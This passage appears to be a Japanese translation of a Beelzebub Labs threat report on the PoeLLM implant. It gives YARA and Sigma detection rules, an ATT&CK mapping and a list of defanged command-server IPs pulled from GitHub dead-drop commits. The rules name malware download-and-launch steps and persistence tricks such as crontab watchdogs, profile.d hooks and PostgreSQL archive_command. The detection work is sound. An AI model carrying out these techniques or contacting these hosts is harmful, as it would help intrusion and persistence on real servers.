        description = "PoeLLM delivery loader in LiteLLM MCP test bodies, logs or scripts: Python downloader for the /private/manager implant (July wget form and August urlretrieve form). Decode Base64 wrappers before scanning."
        family = "PoeLLM.Loader"
        scope = "text artifacts: request bodies, proxy logs, process-argument dumps, scripts"
        date = "2026-10-13"
    strings:
        $path1 = "/private/manager" ascii
        $path2 = ":81/private/" ascii
        $arch1 = "manager-amd64" ascii
        $arch2 = "manager-arm64" ascii
        $dl1 = "urlretrieve" ascii
        $dl2 = "wget -q" ascii
        $c1 = "start_new_session=True" ascii
        $c2 = "llrig-" ascii
        $c3 = "system-monitor" ascii
        $c4 = "memfd_create" ascii
        $c5 = "\"--id\"" ascii
        $c6 = "'--id'" ascii
    condition:
        filesize < 2MB and
        ( $path1 or ($path2 and 1 of ($arch*)) ) and
        1 of ($dl*) and 1 of ($c*)
}
Sigma(6ルール)
title: Python One-Liner Download Or Launch Of /private/manager Implant
id: 3cf0b2ba-60fc-5669-a237-4f19718a9392
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: 'Delivery loader spawned through LiteLLM MCP stdio test-connection (CVE-2026-42271): urlretrieve of /private/manager[-arch] to /tmp/.<pid>, then a detached launch with --id llrig-<n>. Later loaders fall back to /dev/shm/.<pid> and then to an anonymous memfd, so the process image may be /memfd:x (deleted).'
tags:
- attack.execution
- attack.t1059.006
- attack.initial-access
- attack.t1190
- cve.2026-42271
logsource:
  category: process_creation
  product: linux
detection:
  selection_dl:
    CommandLine|contains|all:
    - urlretrieve
    - /private/manager
  selection_exec:
    Image|startswith:
    - /tmp/.
    - /dev/shm/.
    - '/memfd:'
    CommandLine|contains: --id llrig-
  condition: 1 of selection_*
falsepositives:
- Not measured
level: critical
---
title: PoeLLM Sentinel Lock And Marker Files
id: 5d10d196-c256-5e65-a913-3cfcbff165e2
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Sentinel single-instance lock, per-instance exec marker and hidden install/lock names.
tags:
- attack.persistence
- attack.defense-evasion
- attack.t1564.001
logsource:
  category: file_event
  product: linux
detection:
  selection_exact:
    TargetFilename|endswith:
    - /.snt.lck
    - /.snt_upd
  selection_prefix:
    TargetFilename|startswith: /tmp/.snt_x_
  selection_re:
    TargetFilename|re: /\.i2c_(lk_)?[0-9a-f]{8}$
  condition: 1 of selection_*
falsepositives:
- Not measured
level: high
---
title: PoeLLM Sentinel Crontab Reboot And Five-Minute Pgrep Watchdog
id: f7662fba-4529-52c9-aca7-fd1ba31dee93
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Sentinel rewrites the user crontab with an @reboot entry and a */5 pgrep -f self-resurrection entry, both passing --no-kill.
tags:
- attack.persistence
- attack.t1053.003
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains|all:
    - crontab -
    - '@reboot'
    - \*/5 \* \* \* \* pgrep -f
    - --no-kill
  condition: selection
falsepositives:
- Not measured
level: high
---
title: PoeLLM Bridge State Files
id: 785bf9fd-33e2-56d4-a83c-735a3df17730
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Bridge dead-drop result cache (bridge_srv_ip_<id>), client registry and transfer/update temp files.
tags:
- attack.persistence
- attack.t1564.001
logsource:
  category: file_event
  product: linux
detection:
  selection_name:
    TargetFilename|contains: /bridge_srv_ip_
  selection_root:
    TargetFilename|startswith:
    - /tmp/.bce_
    - /tmp/bridge_clients
    - /tmp/bridge_file_
    - /tmp/client_update_
    - /tmp/client_reboot_
    - /var/tmp/.X11-unix-cache/
  condition: 1 of selection_*
falsepositives:
- Not measured
level: high
---
title: PoeLLM Bridge Profile.d Hook dbus-mgr.sh
id: dd93345b-d88b-5f06-bc93-6e2b62642275
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: Bridge drops /etc/profile.d/dbus-mgr.sh as a login-shell relaunch hook (PostgreSQL persistence tier).
tags:
- attack.persistence
- attack.t1546.004
logsource:
  category: file_event
  product: linux
detection:
  selection:
    TargetFilename: /etc/profile.d/dbus-mgr.sh
  condition: selection
falsepositives:
- Not measured
level: high
---
title: PostgreSQL archive_command Set From Shell
id: 1c8223da-b62e-5949-a617-d0b3334cd022
status: experimental
author: Beelzebub Labs
date: '2026-10-13'
references:
- https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
description: 'Bridge PERSIST_PG installs an archive_command hook so PostgreSQL itself relaunches the implant. Generic: flags shell-side changes to archive_command.'
tags:
- attack.persistence
- attack.t1546
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains: archive_command
  selection_op:
    CommandLine|contains:
    - ALTER SYSTEM
    - postgresql.auto.conf
    - postgresql.conf
    - pg_reload_conf
    - -c archive_command
  condition: selection and selection_op
falsepositives:
- DBA changes to WAL archiving; baseline your backup tooling (pgBackRest, wal-g, barman)
level: medium

ATT&CKマッピング

配信とOllama段階の項目は、私たちのハニーポットに送られたリクエストを示しています。インプラントの項目は、静的に解析したコードを示しています。いずれも、コードが被害者のマシンで実行されたことを立証するものではありません。

テクニック 名称 根拠
T1190 Exploit Public-Facing Application /mcp-rest/test/connectionへのCVE-2026-42271配信リクエスト
T1595 Active Scanning axios/1.14.0による/v1/modelsと/openapi.jsonの探索
T1105 Ingress Tool Transfer TCP/81での/private/manager-*のステージング。:9882レジストリを指定するOllamaのプルリクエスト
T1102.001 Web Service: Dead Drop Resolver GitHubフォーク内の詩からデコードされたコマンドアドレス
T1036.005 Masquerading: Match Legitimate Resource Name or Location Sentinelは/usr/libexecのavahi-daemonなど実在のデーモン名でインストールされる
T1573.001 Encrypted Channel: Symmetric Cryptography SentinelのTCP/5002上のRC4コマンドチャネル
T1090 Proxy SentinelのTCP/1458上の5つの取得リレー
T1543.002 Create or Modify System Process: Systemd Service systemctl stopを無視するSentinelのユニット。Bridgeのシステム/ユーザーユニット
T1053.003 Scheduled Task/Job: Cron 5分間隔の再起動ウォッチドッグ
T1546.004 Event Triggered Execution: Unix Shell Configuration Modification /etc/profile.dフック
T1222.002 File and Directory Permissions Modification: Linux and Mac Permissions インプラントに対するchattr +i
T1496 Resource Hijacking libgcryptコンポーネントによるKryptexマイニング(第三者のサンドボックスレポートに基づく)

デッドドロップのアーカイブ

各コミットはhttps://github.com/<parent>/commit/<sha>で閲覧できます。「verse」は第1世代、「stanza」は第3世代です。22行目の「tombstone」は、詩を1つのピリオドに置き換え、チャネルを4分間アドレスのない状態にしました。アドレスは無害化(defang)しています。

全コミット(48件)

# 公開日時(UTC) チャネル(親リポジトリ) コミット エンコード アドレス
1 2025-12-09 22:15:46 discordjs/discord.js f46849089e591f848f4964f86d6d347213e90462 verse 194.69.203[.]32
2 2025-12-12 13:41:20 discordjs/discord.js 8912a49732122da989a91d271f3d8bdaafba4e19 verse 5.16.162[.]140
3 2025-12-16 16:26:01 discordjs/discord.js 876f192471d8bf7ea46821327b2519fe7b3b8de3 verse 196.189.96[.]138
4 2025-12-17 09:25:54 discordjs/discord.js 45f517fd720d4fe98e19e7a614ab54a9e8f902d2 verse 156.248.148[.]165
5 2026-01-29 19:25:20 discordjs/discord.js 909aac6e0df0f0fb717f89ae784a31135e6d8683 verse 168.195.32[.]178
6 2026-02-03 23:28:54 discordjs/discord.js 0f03bcf29576f6eaadceab79d1c1aac276762129 verse 196.191.196[.]21
7 2026-02-06 15:03:32 discordjs/discord.js 991b492372f2013d5a06d7c479a694e12496c962 verse 85.122.148[.]79
8 2026-02-09 19:53:34 discordjs/discord.js 8031758d1b5a4875101e4c21971e1bd8156e82f2 verse 38.50.43[.]231
9 2026-02-11 15:28:33 discordjs/discord.js 32bf8682efd5f380b8c9a18a5a3ad4e84ae4fc77 verse 193.169.110[.]24
10 2026-02-11 22:35:15 discordjs/discord.js f695077abb7c4c335adf397553f9a9b0e4da1f69 verse 103.183.29[.]150
11 2026-02-13 21:19:37 discordjs/discord.js 0cbc53be2974aa5364c9e528a3febbf28a676b25 verse 191.37.28[.]163
12 2026-02-19 00:14:43 discordjs/discord.js 498c21723dc6e5a81ae78a49f59a5afa295e202c verse 5.3.105[.]70
13 2026-02-20 01:00:05 discordjs/discord.js 58b43f12b223fc724cba4fb6806137838933a030 verse 170.239.113[.]167
14 2026-02-20 09:22:32 discordjs/discord.js d71d077f2d1a8c2acfad313942d53070d77957dd verse 190.102.127[.]44
15 2026-02-26 10:41:17 discordjs/discord.js 2d190b00726bab50e448208ddd8d23282c989248 verse 185.244.111[.]240
16 2026-02-26 14:29:48 discordjs/discord.js 03ce640b6ea4abe24712e190ad4c22fbfda58226 verse 86.106.86[.]25
17 2026-02-27 09:38:02 discordjs/discord.js 2ce709e9c9043e523a73c1fb29ce8070618078bb verse 116.129.7[.]63
18 2026-03-01 10:13:37 discordjs/discord.js ac0c7ad3ac7af4f80330e39f7794e8e5fbfab3b9 verse 45.225.187[.]6
19 2026-03-05 14:30:17 discordjs/discord.js 7e2b2c924386b4b03c8139f841819c0ef636f8f5 verse 185.244.111[.]240
20 2026-03-07 10:30:03 discordjs/discord.js 30bba9eba659f723bdbaf94b01b80299f060fc2b verse 45.225.187[.]6
21 2026-03-07 11:09:59 wszqkzqk/deepin-wine-ubuntu 88188feae97dd64ccb6a4041e822f6944c586075 verse 170.239.113[.]167
22 2026-03-07 16:13:51 discordjs/discord.js e23d8298dfb175a8402b9678b1e1843bdafd214f tombstone none
23 2026-03-07 16:17:49 discordjs/discord.js b862d702e98fffb510a74ca78ca29b7ab68fb7f0 verse 185.244.111[.]76
24 2026-03-09 20:14:15 wszqkzqk/deepin-wine-ubuntu 0ec0fedc57a0c6aebaa5f6ab5620debbafda1fd3 verse 45.225.187[.]6
25 2026-03-12 20:40:27 discordjs/discord.js 57bf3b263571736626e0e06f9581d743faeb3f60 verse 170.239.113[.]167
26 2026-03-12 23:40:18 getumbrel/umbrel b7ded93724b888c8681a057a6d2d7177cf399f5c verse 82.23.183[.]155
27 2026-04-13 10:56:39 discordjs/discord.js f7b8db9538c2c9c6c9ee507b19182828584d88b4 verse 86.107.25[.]210
28 2026-04-20 13:17:51 discordjs/discord.js bd4174fa1d5a163d4df99efbd3f75656aee0661c verse 196.189.198[.]106
29 2026-04-20 17:26:25 discordjs/discord.js 5d2e5a46de9c4c1f4f5b9298ce6c9fd0b88d3335 verse 86.107.25[.]210
30 2026-04-21 19:28:37 getumbrel/umbrel d498f3453bd79beef27a39eb5016606eaf3613b6 verse 101.47.160[.]163
31 2026-04-22 09:49:55 wszqkzqk/deepin-wine-ubuntu 5c4aa7cc99d7439b23d5d9134b2fbc76407d189e verse 82.23.183[.]155
32 2026-05-01 11:07:26 discordjs/discord.js 70107829e48277dcec5baebced25fb1fb8094753 verse 196.190.193[.]65
33 2026-05-07 10:38:35 wszqkzqk/deepin-wine-ubuntu 08968077d27ee22674b260308a6e13f8a033dff8 verse 120.224.114[.]212
34 2026-05-08 10:33:00 discordjs/discord.js d126bf8dfeee330d46fbe872155f4c0672450294 verse 120.224.114[.]212
35 2026-05-28 19:44:47 wszqkzqk/deepin-wine-ubuntu 01ce352024b5b93f112aaf735fdbd323dca863a5 verse 86.106.79[.]201
36 2026-06-08 06:32:22 getumbrel/umbrel dc0e68fac405f7d19acd2ed51c046a0d8d2666e8 verse 5.78.73[.]122
37 2026-06-08 11:16:40 wszqkzqk/deepin-wine-ubuntu 24898af14d0f96c558dd3859d1751923b249dd35 verse 45.76.89[.]4
38 2026-06-14 11:53:56 wszqkzqk/deepin-wine-ubuntu 2d47487a87edc3e3f322381251cc7b7f13a6a85e verse 15.204.178[.]28
39 2026-06-16 18:58:27 wszqkzqk/deepin-wine-ubuntu a468b229d4dc95cfa93f753e7e00684959f1165d verse 159.203.130[.]73
40 2026-06-16 19:36:30 getumbrel/umbrel 953e4f3c1b6dd71e76a29f38c0c56f1e1a71f202 stanza 178.128.14[.]204
41 2026-06-17 20:18:04 wszqkzqk/deepin-wine-ubuntu fa7ff561b87af4894288c77c04b771aed63684e5 verse 217.76.63[.]67
42 2026-06-18 21:02:02 wszqkzqk/deepin-wine-ubuntu 6999eb7c36459624b9fddff6090a1de7f5b7cd55 stanza 217.76.63[.]67
43 2026-07-22 21:54:21 discordjs/discord.js 9e45bd5f586600df9d8e8be19bdf1577f94a8e8c stanza 205.209.126[.]135
44 2026-07-29 22:29:11 getumbrel/umbrel 4812dcebd9865b1db6bda0bb1c5ffd03f820a5a5 stanza 155.94.155[.]111
45 2026-08-19 19:43:24 getumbrel/umbrel 564a497c697b29d772f004005878dd1867eefc89 stanza 103.249.201[.]108
46 2026-08-19 19:45:59 wszqkzqk/deepin-wine-ubuntu 51d06a59637eabe3e75a39cdc9d7acf259a459df stanza 165.245.138[.]247
47 2026-08-27 13:38:45 wszqkzqk/deepin-wine-ubuntu 395fb5b5cb324238903fdcfdf53cdd4705270ea3 stanza 104.36.85[.]28
48 2026-08-27 13:44:16 discordjs/discord.js c754c07d3a5154b959f1799588a3b1a904c29a34 stanza 217.76.63[.]67

ユニークなアドレス(37個)

アドレス 初公開 最終公開 コミット数 エンコード チャネル 公表済み
194.69.203[.]32 2025-12-09 2025-12-09 1 verse discord.js
5.16.162[.]140 2025-12-12 2025-12-12 1 verse discord.js
196.189.96[.]138 2025-12-16 2025-12-16 1 verse discord.js
156.248.148[.]165 2025-12-17 2025-12-17 1 verse discord.js
168.195.32[.]178 2026-01-29 2026-01-29 1 verse discord.js
196.191.196[.]21 2026-02-03 2026-02-03 1 verse discord.js
85.122.148[.]79 2026-02-06 2026-02-06 1 verse discord.js
38.50.43[.]231 2026-02-09 2026-02-09 1 verse discord.js
193.169.110[.]24 2026-02-11 2026-02-11 1 verse discord.js
103.183.29[.]150 2026-02-11 2026-02-11 1 verse discord.js
191.37.28[.]163 2026-02-13 2026-02-13 1 verse discord.js
5.3.105[.]70 2026-02-19 2026-02-19 1 verse discord.js
170.239.113[.]167 2026-02-20 2026-03-12 3 verse deepin-wine-ubuntu, discord.js
190.102.127[.]44 2026-02-20 2026-02-20 1 verse discord.js
185.244.111[.]240 2026-02-26 2026-03-05 2 verse discord.js
86.106.86[.]25 2026-02-26 2026-02-26 1 verse discord.js
116.129.7[.]63 2026-02-27 2026-02-27 1 verse discord.js
45.225.187[.]6 2026-03-01 2026-03-09 3 verse deepin-wine-ubuntu, discord.js
185.244.111[.]76 2026-03-07 2026-03-07 1 verse discord.js
82.23.183[.]155 2026-03-12 2026-04-22 2 verse deepin-wine-ubuntu, umbrel
86.107.25[.]210 2026-04-13 2026-04-20 2 verse discord.js
196.189.198[.]106 2026-04-20 2026-04-20 1 verse discord.js
101.47.160[.]163 2026-04-21 2026-04-21 1 verse umbrel
196.190.193[.]65 2026-05-01 2026-05-01 1 verse discord.js
120.224.114[.]212 2026-05-07 2026-05-08 2 verse deepin-wine-ubuntu, discord.js yes
86.106.79[.]201 2026-05-28 2026-05-28 1 verse deepin-wine-ubuntu
5.78.73[.]122 2026-06-08 2026-06-08 1 verse umbrel yes
45.76.89[.]4 2026-06-08 2026-06-08 1 verse deepin-wine-ubuntu
15.204.178[.]28 2026-06-14 2026-06-14 1 verse deepin-wine-ubuntu yes
159.203.130[.]73 2026-06-16 2026-06-16 1 verse deepin-wine-ubuntu
178.128.14[.]204 2026-06-16 2026-06-16 1 stanza umbrel yes
217.76.63[.]67 2026-06-17 2026-08-27 3 stanza/verse deepin-wine-ubuntu, discord.js
205.209.126[.]135 2026-07-22 2026-07-22 1 stanza discord.js
155.94.155[.]111 2026-07-29 2026-07-29 1 stanza umbrel
103.249.201[.]108 2026-08-19 2026-08-19 1 stanza umbrel yes
165.245.138[.]247 2026-08-19 2026-08-19 1 stanza deepin-wine-ubuntu
104.36.85[.]28 2026-08-27 2026-08-27 1 stanza deepin-wine-ubuntu

オープンソースのBeelzebubデセプションフレームワークをご覧いただくか、Beelzebub.aiのデモを申し込むこともできます。

Beelzebubチームは、インターネットをより良く、より安全な場所にするために尽力しています。❤️

翻訳元: https://beelzebub.ai/blog/reading-the-rest-of-the-poem/

本記事は beelzebub.ai の記事を翻訳・要約したものです。